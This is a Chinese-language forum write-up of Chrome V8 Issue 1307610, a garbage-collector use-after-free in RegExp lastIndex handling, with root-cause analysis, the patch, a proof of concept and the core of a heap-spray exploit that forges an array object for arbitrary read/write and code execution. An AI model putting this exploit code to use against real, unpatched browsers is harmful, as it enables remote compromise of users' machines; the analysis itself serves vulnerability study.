[原创] Chrome v8 Issue 1307610漏洞及其利用分析
2022-12-25 15:9:57 Author: bbs.pediy.com(查看原文) 阅读量:16 收藏

环境:Ubuntu 18.04

GDB

V8 9.9.115

由于接触v8的时间的原因,导致对v8漏洞熟悉的大部分为Turbofan,IC模块的,类型大部分为混淆或者检测绕过类型,

对v8出现的传统的UAF漏洞类型反而不太熟悉,最近就通过这个case对这种类型漏洞进行学习。

1:写在前面

1.1:v8在引入指针压缩之后,在索引对象的时候,使用的是短指针,也就是对象地址的后4个字节指向需要指向的对象。

    其实原理是预先跟系统申请4GB地址空间,然后在这个空间上开始初始化各种对象。

1.2: v8在对象初始化的时候,通常顺序是非常非常的固定(其顺序跟v8版本有关系),这就导致在特定版本的v8之中,v8默认类型的map(v8对象的原型),地址的前面4个字节是随机的(因为是系统分配的),而后面的4字节一般是固定的(因为是v8自己按照固定顺序加载的)。

假设有个对象var array=[1.1],他的map是在v8加载你写的js之前就已经确定,所以如果你第一次调试得到map为0x08203af9,重新调试地址还是为0x08203af9。

完整的地址为0xXXXXXXXX0x08203af9

只有前面的4个字节地址实现了随机化,而v8引入指针压缩后是采用后4个字节地址表示对象地址的,所以在这个版本的v8中,var array=[1.1]的map就一直为为0x08203af9。

1.3:同样的,如果我们在js中自定义了一个var array=[1.1]实例,只要不改变前面的内容,v8就会在一个固定的地址创建这个array数组实例,比如这次加载的地址为0x0804ad61,那么只要不改变var array=[1.1]前面的js加载顺序,就算重新加载这个js文件,v8还是会在0x0804ad61地址创建这个实例,而通过简单的运算elements则会指向0x0x0804ad51。

在实际的漏洞利用之中,如果知道v8的版本,利用v8的这种堆分配特性,不需要泄露出我们申请的对象的地址,就可以通过调试和简单的计算得到我们需要的所有对象地址。

下面是调试说明:

               

                                                        图:1.3.1系统环境

  待测试的js代码

        var array = [1.1];
        %DebugPrint(array);
        %SystemBreak();

                 

                                                        图 :1.3.2 第一次加载数组的地址

                 

                                                           图 :1.3.3 第一次加载数组的内存结构

               

                                                         图 :1.3.4 第二次加载数组的地址

               

                                                         图 :1.3.5 第二次加载数组的内存结构

                      

                                                               图 :1.3.6 重启后加载数组的地址

                     

                                                           图 :1.3.7 重启后加载数组的地址

                    通过调试我们可以知道var array=[1.1]的地址后4字节始终没有变,指向的结构内容也始终没有变。

2:Issue 1307610

2.1 Issue 1307610 root case

2.1.1:使用RegExp对象调用’re[Symbol.replace]’函数时,如果RegExp对象不再是fast mode或者初始的RegExp对象已经被修改,v8就会用Runtime::kRegExpReplaceRT函数来处理这个过程。

2.1.2:如果该RegExp为一个全局对象,就会调用’RegExpUtils::SetAdvancedStringIndex’来设置lastIndex,这个函数最终会调用’RegExpUtils::AdvanceString’,在这里,last_index将会增加,然后将新的last_index传递给’SetLastIndex’

MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,
 
Handle<JSReceiver> recv,
 
uint64_t value) {
 
Handle<Object> value_as_object =
 
isolate->factory()->NewNumberFromInt64(value); /*** A ***/
 
if (HasInitialRegExpMap(isolate, *recv)) { /*** B ***/
 
JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER); /*** C ***/
 
return recv;
 
} else {
 
return Object::SetProperty(
 
isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,
 
StoreOrigin::kMaybeKeyed, Just(kThrowOnError));
 
}
 
}

2.1.3:在RegExpUtils::SetLastIndex处理中,会进入NewNumberFromInt64’,将会转换当前的’last_index’设置为一个integer或者一个HeapNumber(具体看传入的值是什么,如果大于SMI,就会用HeapNumber,否则就会使用Interger)。

然后如果满足条件HasInitialRegExpMap(isolate, *recv),也就是这个对象为fast的情况下。’last_index’将会用’SKIP_WRITE_BARRIER’标志位创建一个对象。

2.1.3:在使用’SKIP_WRITE_BARRIER’标志位set_last_index的情况下,如果’last_index’为一个HeapNumber对象的情况,我们可以将regexp通过垃圾回收进入了old-space,HeapNumber因为用了’SKIP_WRITE_BARRIER’标志位,所以可以通过一定的内存处理手段,在新的内存空间NewSpace中申请空间创建HeapNumber对象,由于regexp对象和这个HeapNumber对象并不在一块v8的内存管理空间,根据v8的垃圾回收机制,v8并不能通过regexp跟踪到HeapNumber对象的生命周期。所以当此时出发垃圾回收,由于v8不能跟踪这个HeapNumber对象实例的重新创建,因此regexp.last_index会变成悬垂的指针。

2.2 POC的构造

需要满足的条件:

第一:创建全局对象RegExp,修改全局对象RegExp,使得其满足能进入Runtime::kRegExpReplaceRT函数。

第二:将re.lastIndex设置为1073741823;,在随后的’RegExpUtils::SetAdvancedStringIndex’中会将其+1,结果为1073741824。因为超过了SMI的范围,因此re.lastIndex会申请一个带有SKIP_WRITE_BARRIER标志的堆创建HeapNumber()对象,来存储这个re.lastIndex。

第三:触发write_barrier,使得re对象和re.lastIndex在不同过的CG管理域,让v8无法随后通过re对象追踪re.lastIndex所指向的HeapNumber()对象地址变化。

第四:触发垃圾回收,让前面的HeapNumber()所在的空间被回收,re对象由于没有办法追踪这个对象,导致re.lastIndex没有再跟新,从而变为悬垂的指针。

var re = new RegExp('foo', 'g');//条件1:创建全局对象RegExp
function major_gc() {
    new ArrayBuffer(0x7fe00000);
}
function minor_gc() {
    for (var i = 0; i < 32; i++) {
        ref[rid++] = new ArrayBuffer(0x200000);
    }
    ref[rid++] = new ArrayBuffer(1); // ram heuristic
}
//%DebugPrint(re);
var tmp = re.exec;
var match_object = {};
match_object[0] = {
    toString : function() {
        return "";
    }
};
re.exec = function() {
    major_gc(); // mark-sweep
    delete re.exec; //条件1:修改全局对象re,使得其能进入Runtime::kRegExpReplaceRT函数
    re.lastIndex = 1073741823; // 条件2:设置re.lastIndex为max smi,其后触发re.exec时会+1,让其变成一个HeapNumber()对象
    RegExp.prototype.exec = function() {
        throw ''; // break out of Regexp.replace
    }
    return match_object;//返回该过程正确的对象
};
try {
    var newstr = re[Symbol.replace]("fooooo", ".$");
} catch(e) {}
minor_gc();//条件3:触发write_barrier,使得re对象和re.lastIndex分别在两个堆块,使得re对象无法追踪re.lastIndex对象
minor_gc();
major_gc();//条件4:触发垃圾回收,让re.lastIndex变为悬垂的指针
print(re.lastIndex);

2.3:补丁

这里的补丁也非常简单,只要修改

JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);

的SKIP_WRITE_BARRIER标志位为UPDATE_WRITE_BARRIER,让v8可以一直通过re对象追踪到re.lastIndex就可以。

                                                                图 2.3.1

3.1  Issue 1307610的利用技巧

                                                              图3.1.1 HeapObject

https://thlorenz.com/v8-dox/build/v8-3.25.30/html/d1/d8c/classv8_1_1internal_1_1_heap_number.html

3.1.1:根据v8对HeapNumber的说明,HeapNumber为HeapObject的父对象,HeapObject为Object的父对象。

因为v8是根据map来辨别对象的,所以我们在触发UAF之后,在map所在的内存中用我们预先设定的某个对象的map值来占据,然后引用re.lastIndex,v8就会将其解释为我们想要设定的那个对象。

3.1.2:由1的中我们可以看到 var array=[1.1],这种数组对象的内存结构为

            [map,properties,elements,length]

            [4字节+4字节+4字节+4字节]

根据1所诉的内容,只需要在在第一次调试时将array地址以后的16字节数据保存,然后转换为2个浮点数。在我这个环境得到的这2个浮点数为:

1.86756861281384e-310,8.3440269836909e-309

3.1.3:利用这个悬垂指针的漏洞源语,在HeapNumber对象释放以后,利用用这2个浮点数填充满的的浮点数组fake_object_array,占据原本的HeapNumber对象原来所在的空间。

                                                                图 3.1.3 地址喷射

fake_object_array = [1.86756861281384e-310,8.3440269836909e-309,1.86756861281384e-310,8.3440269836909e-309,1.86756861281384e-310,8.3440269836909e-309…];

紧接着再引用re.lastIndex,v8就会把re.lastIndex就会将这个引用解释为[1.1]结构的对象。

3.1.4:因为fake_object_array是我们能完全控制的,到这一步我们等于拥有了一个任意控制的数组,再通过修改re.lastIndex引用的伪造数组的elements指针的地址值,就可以进行任意地址的读写,最后完成v8 里面的RCE。

本人的环境是通过修改fake_object_array[0x83]。

3.1.5

Exp关键部分:

var re = new RegExp('foo', 'g');
        var match_object = {};
        match_object[0] = {
            toString : function() {
                return "";
            }
        };
        re.exec = function() {
            helper.mark_sweep_gc();
            delete re.exec; //将re对象转换为 initial regexp map
            re.lastIndex = 1073741823; // 最大的 smi值, 再加个1就会转换为 HeapNumber
            new Array(256); // 添加新的空间,然后申请·NewHeapNumber<newSpace>,这个空间会在接下来的垃圾回收过程中被回收,注意这个数组不能大于后面fake_object_array的大小,不然会导致无法覆盖我们自定义的数组数据。
            RegExp.prototype.exec = function() {
                throw ''; // break out of Regexp.replace
            }//触发漏洞过程
            return match_object;//返回正确的对象
        };
        try {
            var newstr = re[Symbol.replace]("fooooo", ".$");
        } catch(e) {}
        helper.scavenge_gc(); // 触发 write-barrier
        helper.mark_sweep_gc(); // 触发垃圾回收 GC
        //在新申请的空间上喷射我们前面构造好的伪造对象浮点数
fake_object_array =  [3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314];
        return re;

3.5.2 需要注意点是fake_object_array所能占据的空间必须比

        re.exec = function() {

            helper.mark_sweep_gc();

            delete re.exec; //将re对象转换为 initial regexp map

            re.lastIndex = 1073741823; // 最大的 smi值, 再加个1就会转换为 HeapNumber

            new Array(256); // 添加新的空间,然后申请·NewHeapNumber<newSpace>,这个空间会在接下来的垃圾回收过程中被回收,注意这个数组不能大于后面fake_object_array的大小,不然会导致无法覆盖我们自定义的数组数据。

            RegExp.prototype.exec = function() {

                throw ''; // break out of Regexp.replace

            }//触发漏洞过程

            return match_object;//返回正确的对象

        };

里面的new Array(256)要大,否则无法覆盖到re,lastIndex引用。在拥有这个完全控制的数组对象后,通过创建越界读写原语,能轻松的进行v8进程的RCE。

     

                                               图 3.1.5 成功RCE

4.1  总结

由于这种RCE依靠提前获得map和elements指针的地址,map和elements指针猜测跟v8的版本有关,所有这类的漏洞利用感觉各个版本的兼容性应该不怎么好,堆喷的浮点数组的值要根据版本进行修改,总体感觉利用过程还是比较传统简单,感觉这个case POC和利用的精髓是对SKIP_WRITE_BARRIER标志位的理解......

参考

https://bugs.chromium.org/p/chromium/issues/detail?id=1307610

https://thlorenz.com/v8-dox/build/v8-3.25.30/html/d1/d8c/classv8_1_1internal_1_1_heap_number.html

[2022冬季班]《安卓高级研修班(网课)》月薪两万班招生中~

最后于 4天前 被苏啊树编辑 ,原因:


文章来源: https://bbs.pediy.com/thread-275627.htm
如有侵权请联系:admin#unsafe.sh